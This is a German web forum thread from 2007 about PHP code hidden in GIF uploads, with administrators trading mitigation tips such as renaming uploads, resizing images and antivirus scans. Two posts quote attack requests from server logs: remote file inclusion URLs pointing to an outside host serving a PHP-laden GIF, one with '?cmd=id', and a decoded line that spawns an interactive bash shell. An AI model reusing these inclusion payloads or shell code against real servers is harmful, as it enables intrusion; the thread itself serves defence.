Anmelden, um zu folgen  
Folger 0
pangu

Gefahr von PHP Code in GIF Grafikdateien

14 Beiträge in diesem Thema

Im Prinzip nichts neues, trotzdem danke für den Hinweis. Man kann das ja nicht oft genug wiederholen.

Wenn ich allerdings das

QUOTE
Schauen wir uns an, welche Leute richtige Boliden, hoch leistungsfähige Webserver betreiben, können wir ahnen, wohin der Weg führen wird. Wir kritisieren damit keineswegs unerfahrene Anwender. Schließlich beginnt jeder Mensch irgendwann einmal seinen Weg und lernt dazu. Es gibt aber auch genügend verantwortungslose Menschen, denen es schlicht egal ist, wie sicher ihr Server ist. Für sie ist nur interessant, mit dem Besitz eines eigenen Servers im Kreis von Bewunderern zu prahlen, während sie beim ersten Sicherheitsproblem bereits nicht mehr wissen, welche Schritte nun notwendig sind. Selbst simpelste Dinge werden in diversen Foren erfragt und oft genug wird dann eine "Schritt für Schritt" Anleitung eingefordert, "weil man sich das lange Lesen in oft englischsprachigen Dokumenten ersparen möchte".


lese, dann frage ich mich allerdings manchmal, ob man nicht die entsprechenden Fragen in Foren knallhart löschen sollte. Insbesondere dann, wenn sich das bei manchen Nutzern wiederholt.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Es ist richtig, dass dieses Problem existiert!

ABER:

Welcher Idiot lässt es zu, dass PHP Dateien hochgeladen werden können?
Welcher verdeppte Admin hat den Befehl system aktiv?

Unterschätz das Problem dennoch nicht...

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Die hier gezeigten "Exploits" basieren jedoch alle auf der Annahme, dass der Dateiname des Uploads immer gleich bleibt. Wenn er von exploit.php nach img001202.gif umbenannt wird, lässt sich die Datei nicht mehr ausführen (vorausgesetzt der Systemadmin lässt nicht auch gif-Dateien durch den PHP-Parser rauschen).

QUOTE (sd12 @ So 12.08.2007, 15:31)
Welcher verdeppte Admin hat den Befehl system aktiv?

Selbst wenn jedoch Funktionen wie system() deaktiviert sind, kann man einen beträchtlichen Schaden anrichten.

QUOTE (rocoloco @ Do 9.08.2007, 16:45)
scheisse sad.gif

Danke für deine qualifizierte, hochbrisante Meldung.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Der unerfahrene Anwender sollte sowieso nicht an seinem Server "herumschrauben", wenn er von dessen Inhalten abhängig ist, sprich davon lebt. Bestandteil des Artikels ist daher auch die gängige Panikmache...

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
QUOTE (sd12 @ So 12.08.2007, 15:31)
[...] Welcher Idiot lässt es zu, dass PHP Dateien hochgeladen werden können?
Welcher verdeppte Admin hat den Befehl system aktiv? [...]

ODER:

Welcher halbwegsvernünftige Admin hat bitte Endung wie GIF, JPG oder PNG zum Parsen mittels PHP freigegeben?!

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Vorausgesetzt, das Bilddateien nicht durch den PHP Parser gelassen werden, genügt die einfache Prüfung der Dateiendung. Warum wird NUR der Filetyp geprüft? Am besten beides Prüfen.

Hier aber noch konstruktive Hilfe für diejenigen welche angst haben, dass Sie fehlerhfte Scripte haben...

Macht eine Subdomain für Eure Uploads. Diese Subdomain hat einfach kaum rechte...

Ganz hilfreich zum Thema Apache Security ist auch diese Seite:
http://www.linux-magazin.de/heft_abo/ausga...r_den_webserver

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
QUOTE (sd12 @ So 12.08.2007, 14:31)
Es ist richtig, dass dieses Problem existiert!

ABER:

Welcher Idiot lässt es zu, dass PHP Dateien hochgeladen werden können?
Welcher verdeppte Admin hat den Befehl system aktiv?


QUOTE (Sascha Ahlers @ So 12.08.2007, 17:38)
Welcher halbwegsvernünftige Admin hat bitte Endung wie GIF, JPG oder PNG zum Parsen mittels PHP freigegeben?!


Eure Einwände sind allesamt nachvollziehbar - für diejenigen, die sich mit den Details auskennen. Nur erlebe ich - gerade hier - immer wieder das Gegenteil: Jemand fragt etwas und erhält eine Erläuterung. Und dann fragt er erneut etwas und man hat den Eindruck, daß die - womöglich sicherheitskritischen - PHP-Befehle wie chinesische Schriftzeichen nur hin- und hergeschoben werden, ohne irgendein Verständnis für das, was diese Funktionen machen. Einzig entscheidend ist, daß es am Ende klappt - so wie sich das der Fragende vorstellt. Was damit plötzlich auch noch klappt, ist dem Fragenden völlig unbekannt.

Und das Problem gibt es nicht nur hier: Es gibt ja regelmäßig Anwendungen, da funktioniert etwas nicht - also werden die Rechte hochgesetzt. Simples Beispiel, schon mehrfach gelesen:

Frage: Ich will in meine bis jetzt statische Seiten PHP einbauen, muß ich jetzt alle Dateiendungen ändern? (PR-Verlust)
Antwort: Nee, konfiguriere deinen Server so, daß er auch .html parst.

Und es ist fast zu wetten, daß manche damit Schwierigkeiten haben und dann nicht bloß das Html-Parsen erlauben, sondern dann eben alle Dateien durchjagen - '*.*' funktioniert wahrscheinlich.

Etwas funktioniert nicht wie gewünscht, also wird eine stärkere Funktion genutzt - was die sonst macht? Keine Ahnung.

Abgesehen davon kann man auch mit hochladbaren Html-Seiten Mist bauen - eingebundenes JavaScript wird dann plötzlich mit den Vertrauensrechten der Plattform ausgeführt.

PS: Simples Beispiel: Jemand schreibt in einem Forum, google würde die Domain als 'kann Ihren Computer schädigen' ausgeben. Leute aus dem Forum gucken nach, eingebundener iFrame auf eine Site mit Exploits, google hat also recht. Und dann natürlich: 'Keine Ahnung, wie', dann werden Passwörter geändert - als ob für so etwas ein Passwort notwendig wäre. Aber wenn sich google dann zwei Wochen Zeit läßt, bis der Hinweis verschwindet, da regt sich der Besitzer darüber auf.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Leider muss ich jAuer fast überall recht geben...

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
So, grade bei mir gesehen:

Aufrufe:

/live/help.php?css_path=http://217.117.147.4/sugar_canon/s.gif?
/php/mambo/index2.php?_REQUEST%5Boption%5D=com_content&_REQUEST%5BItemid%5D=1&GLOBALS=&mosConfig_absolute_path=http://217.117.147.4/sugar_canon/s.gi
/dotproject/includes/db_adodb.php?baseDir=http://217.117.147.4/sugar_canon/s.gif?

und analog (mir wirds zu blöd, die ganzen Parameter rauszukopieren):

/SQuery/lib/armygame.php
/phplive/help.php
/bridge/enigma/E2_header.inc.php
/admin.php
/mambo/index.php

/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://217.117.147.4/sugar_canon/s.gif?/

Und ruft man das s.gif direkt ab, dann ist das ein 'zerbrochenes Gif' mit Inhalt

QUOTE
<?php
echo ("Morfeus hacked you");
?>


Sprich: Das wird fleißig eingesetzt.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Um kurz zu vervollständigen, die Blödmänner versuchen es mit jeder Endung:

GET /components/com_simpleboard/file_upload.php?sbp=http://***.com/tool20.dat?cmd=id
GET /mail/index.php?site_path=http://***.com/imag/stringa.txt?
GET /wiki/index.php/index.php?z=http://***.jp/icons/fold?

usw....

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
QUOTE (profo @ So 19.08.2007, 19:28)
Um kurz zu vervollständigen, die Blödmänner versuchen es mit jeder Endung:

Aber nicht bei mir, bei mir sind bloß PHP-Dateien und gif-Endungen aufgetaucht.

Das ist allerdings auch ein IIS, bei dem alle PHP-Dateien mit 404 beantwortet werden.

Vor ein paar Tagen hatte ich mal den:

/admin/business_inc/saveserver.php?thisdir=Textdatei von einem Server

Die Textdatei existiert immer noch - nein, ich poste keinen Link. Die hat u.a komplette Brute-Force - FTP-Angriffe und base64-codierte Blöcke. Decodiert man die, dann sind das komplette kleine C-Programme, die einen Port und eine Shell aufmachen:

CODE
system("echo welcome to ...  shell && /bin/bash -i");


Da ist dann mein Server nicht mehr mein Server.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
So mach ichs:

1- alle hochgeladenen Bilder (oder Dateien, die sich als solche ausgeben) laufen über ein noexe /tmp
2- Bilder werden automatisch auf 99% Grösse resized (da bleibt kein Code übrig)
3- dann in ein Verzeichnis verschoben mit einem htaccess deny from all (ausnahme: die eigene IP des Webservers)
4- die Bilder werden dann selbst über ein gesichertes php-Skript ausgegeben (nach der Art photo.php?foto_id=542 mit file_get_contents)

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen
Coole Tricks. Die Verkleinerung finde ich besonders gut! Ansonsten lasse bei mir meist noch einen clamdscan (Antivirus) über Uploads laufen.

Diesen Beitrag teilen


Link zum Beitrag
Auf anderen Seiten teilen

Erstellen Sie einen Account oder melde Sie sich an um kommentieren zu können

You need to be a member in order to leave a comment

Create an account

Registrieren Sie einen neuen Account in unserer Community. Es ist einfach!


Register a new account

Anmelden

Haben Sie bereits einen Account? Dann melden Sie sich hier an.


Jetzt Anmelden
Anmelden, um zu folgen  
Folger 0